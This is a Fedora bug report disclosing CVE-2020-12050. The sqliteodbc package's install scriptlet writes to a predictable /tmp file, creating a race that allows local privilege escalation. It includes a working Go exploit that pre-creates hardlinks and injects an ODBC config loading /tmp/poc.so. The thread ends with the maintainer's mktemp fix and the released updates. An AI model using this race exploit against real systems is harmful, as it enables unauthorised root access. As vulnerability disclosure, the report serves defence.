Bug 1825762 - Packaging vulnerability in sqliteODBC exposing to local privilege escalation to root
Summary: Packaging vulnerability in sqliteODBC exposing to local privilege escalation ...
Keywords:
Status: CLOSED ERRATA
Alias: None
Product: Fedora
Classification: Fedora
Component: sqliteodbc
Version: rawhide
Hardware: Unspecified
OS: Unspecified
unspecified
medium
Target Milestone: ---
Assignee: Damian Wrobel
QA Contact: Fedora Extras Quality Assurance
URL:
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2020-04-20 07:50 UTC by Sysdream
Modified: 2020-05-01 04:05 UTC (History)
1 user (show)

Fixed In Version: sqliteodbc-0.9996-4.fc30 sqliteodbc-0.9996-6.fc31 sqliteodbc-0.9996-6.fc32
Doc Type: If docs needed, set a value
Doc Text:
Clone Of:
Environment:
Last Closed: 2020-04-30 02:51:12 UTC
Type: Bug
Embargoed:


Attachments (Terms of Use)
PoC race condition (5.87 MB, video/webm)
2020-04-20 15:48 UTC, Sysdream
no flags Details

Description Sysdream 2020-04-20 07:50:07 UTC
A vulnerability has been introduced in the package that installs sqliteODBC in Red Hat / CentOS / Fedora distributions.

**Threat** 

Privilege escalation to root

## Vulnerability records

**CVE ID**: CVE-YYYY-XXX

**Access Vector**: local

**Security Risk**: low

**Vulnerability**: CWE-377

**CVSS Base Score**: 4.5

**CVSS Vector**: CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L



## Details

The sqliteODBC package install script saves a part of his configuration file in the `/tmp` folder, before running the `odbcinstall` script on it:

```
if [ -x /usr/bin/odbcinst ] ; then
	INST=/tmp/sqliteodbcinst$$

	if [ -r /usr/lib64/libsqliteodbc.so ] ; then
		cat > $INST <<- 'EOD'
			[SQLITE]
			Description=SQLite ODBC 2.X
			Driver=/usr/lib64/libsqliteodbc.so
			Setup=/usr/lib64/libsqliteodbc.so
			Threading=2
			FileUsage=1
		EOD

		/usr/bin/odbcinst -q -d -n SQLITE | grep '^\[SQLITE\]' >/dev/null || {
			/usr/bin/odbcinst -i -d -n SQLITE -f $INST || true
		}

```

The temporary configuration file is saved during the installation using the following name `/tmp/sqliteodbc$$` (where $$ is the PID of the process).

As the configuration file is using a predictable name, we can try to perform a race in order to write new contents before the file is loaded by `odbcinstall`.

The PID of a process is incremental, so we just have to pre-create a bunch of *hardlinks* in the `/tmp` directory that target our payload.

## Proof of Concept

We created the following Golang exploit code, that works nearly all the time during the installation of sqliteodbc:

```go
package main

import (
	"fmt"
	"os"
)

func SpreadHardlinks(pid int) {
	maxPid := pid + 100
	fmt.Println("[+] Creating hardlinks...")
	for pid++ ; pid < maxPid; pid++ {
		target := fmt.Sprintf("/tmp/sqliteodbcinst%d", pid)
		err := os.Link("/tmp/race.ini", target)
		if err != nil {
			panic(err)
		}
		fmt.Printf("[~] Created hardlink : %s\n", target)
	}
}

func main(){
	const poc = `
[default]
Description=Sysdream ODBC
Driver=/tmp/poc.so
Driver64=/tmp/poc.so
Setup=/tmp/poc.so
Setup64=/tmp/poc.so
Threading=2
FileUsage=1
`
	pid := os.Getpid()
	fmt.Printf("[~] Current pid : %d\n", pid)

	fmt.Println("[+] Attempting to win the race, watch for changes in /etc/odbcinstall.conf !")

	f, err := os.OpenFile("/tmp/race.ini", os.O_CREATE | os.O_RDWR, 0700)
	if err != nil {
		panic(err)
	}
	SpreadHardlinks(pid)

	for {
		f.Seek(0, 0)
		f.WriteString(poc)
		f.Sync()
	}

	f.Close()
}
```

That way, every time a program tries to use unixODBC, the `/tmp/poc.so` library will be loaded, enabling privilege escalation to the attacker.


## Affected versions

* Tested on sqliteodbc-0.9996-4.fc31.x86_64.rpm

Comment 1 Sysdream 2020-04-20 07:58:24 UTC
Note that we are posting here because we have never received any non automated reply from secalert.

First contact on 2020/03/24, second request on 2020/04/16.

Comment 2 Damian Wrobel 2020-04-20 12:01:13 UTC
(In reply to Sysdream from comment #1)
> Note that we are posting here because we have never received any non
> automated reply from secalert.
> 
> First contact on 2020/03/24, second request on 2020/04/16.

For me it also the first time I've received any information related to that issue.


>As the configuration file is using a predictable name, we can try to perform a race in order to write new contents before the file is loaded by `odbcinstall`.

But, if I'm not mistaken in order to modify the content of that temporary file you need to have a root privileges anyway (unless RPM uses a wrong umask).

Comment 3 Sysdream 2020-04-20 12:49:55 UTC
> For me it also the first time I've received any information related to that issue.

Then, there is a big problem with the alerting process, that might be worth investigation on the side of Red Hat.

> But, if I'm not mistaken in order to modify the content of that temporary file you need to have a root privileges anyway (unless RPM uses a wrong umask).

The problem is that such a race condition enables code injection, which can lead to unexpected consequences for the user that blindly install the package.

Note that the offensive file can be precreated by anyone and is not affected by the `umask` of the package or anything else.

By the way, as Red Had is CNA, can you provide us with a CVE?

Comment 4 Damian Wrobel 2020-04-20 13:13:55 UTC
(In reply to Sysdream from comment #3)
> 
> Note that the offensive file can be precreated by anyone and is not affected
> by the `umask` of the package or anything else.

My understanding is that, whatever you injected to that file, prior to installing the sqliteODBC package, will be overwritten by the RPM unconditionally.

Comment 5 Sysdream 2020-04-20 13:21:58 UTC
You misunderstand the principle of a "race condition".

It's a race that, for instance, the provided Go script tries to win.

I think our PoC and the script are pretty self-explanatory, moreover you can test it easily.

Comment 6 Damian Wrobel 2020-04-20 13:32:43 UTC
(In reply to Sysdream from comment #5)
> You misunderstand the principle of a "race condition".
IMHO option I assume I know what is possibly the race condition. But I do not see a clear root escalation path if in order to modify this temp. file you need to also have a root privileges.

Comment 7 Sysdream 2020-04-20 15:48:37 UTC
Created attachment 1680328 [details]
PoC race condition

Ok, so please find here a video of the PoC.

Think of a multi-user system where anyone can write to /tmp. Hopefully it's clear now.

Will you provide a CVE or shall we contact MITRE as usual?

Comment 8 Damian Wrobel 2020-04-21 16:26:51 UTC
(In reply to Sysdream from comment #7)
> Created attachment 1680328 [details]
> PoC race condition
> 
> Ok, so please find here a video of the PoC.
Thank you for the video, but that wasn't the information I was looking for.

Looking at the scriptlet it seems that the root cause is in the bash here-doc which does not recreate the file if it already exists - it just overwrites its content.
So I'll rewrite the scriptlet to create the temp. file using mktemp(1).

FYI, the code is taken from the original upstream srpm[1].

> Will you provide a CVE or shall we contact MITRE as usual?
I'm not aware of that process, so please follow usual steps.

[1] http://www.ch-werner.de/sqliteodbc/sqliteodbc-0.9996-1.src.rpm

Comment 9 Sysdream 2020-04-22 06:53:32 UTC
This will be CVE-2020-12050, so please refer to it in your changelog.

When is the fix going to reach users in main repos?

Comment 10 Fedora Update System 2020-04-22 14:41:22 UTC
FEDORA-2020-df7c647fa3 has been submitted as an update to Fedora 32. https://bodhi.fedoraproject.org/updates/FEDORA-2020-df7c647fa3

Comment 11 Fedora Update System 2020-04-22 14:46:03 UTC
FEDORA-2020-c98c7da2f6 has been submitted as an update to Fedora 31. https://bodhi.fedoraproject.org/updates/FEDORA-2020-c98c7da2f6

Comment 12 Fedora Update System 2020-04-22 14:46:56 UTC
FEDORA-2020-1e85425a52 has been submitted as an update to Fedora 30. https://bodhi.fedoraproject.org/updates/FEDORA-2020-1e85425a52

Comment 13 Fedora Update System 2020-04-22 20:14:24 UTC
FEDORA-2020-1e85425a52 has been pushed to the Fedora 30 testing repository.
In short time you'll be able to install the update with the following command:
`sudo dnf upgrade --enablerepo=updates-testing --advisory=FEDORA-2020-1e85425a52`
You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2020-1e85425a52

See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.

Comment 14 Fedora Update System 2020-04-22 20:29:19 UTC
FEDORA-2020-c98c7da2f6 has been pushed to the Fedora 31 testing repository.
In short time you'll be able to install the update with the following command:
`sudo dnf upgrade --enablerepo=updates-testing --advisory=FEDORA-2020-c98c7da2f6`
You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2020-c98c7da2f6

See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.

Comment 15 Fedora Update System 2020-04-23 20:45:29 UTC
FEDORA-2020-df7c647fa3 has been pushed to the Fedora 32 testing repository.
In short time you'll be able to install the update with the following command:
`sudo dnf upgrade --enablerepo=updates-testing --advisory=FEDORA-2020-df7c647fa3`
You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2020-df7c647fa3

See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.

Comment 16 Fedora Update System 2020-04-30 02:51:12 UTC
FEDORA-2020-1e85425a52 has been pushed to the Fedora 30 stable repository.
If problem still persists, please make note of it in this bug report.

Comment 17 Fedora Update System 2020-04-30 03:43:12 UTC
FEDORA-2020-c98c7da2f6 has been pushed to the Fedora 31 stable repository.
If problem still persists, please make note of it in this bug report.

Comment 18 Fedora Update System 2020-05-01 04:05:32 UTC
FEDORA-2020-df7c647fa3 has been pushed to the Fedora 32 stable repository.
If problem still persists, please make note of it in this bug report.


Note You need to log in before you can comment on or make changes to this bug.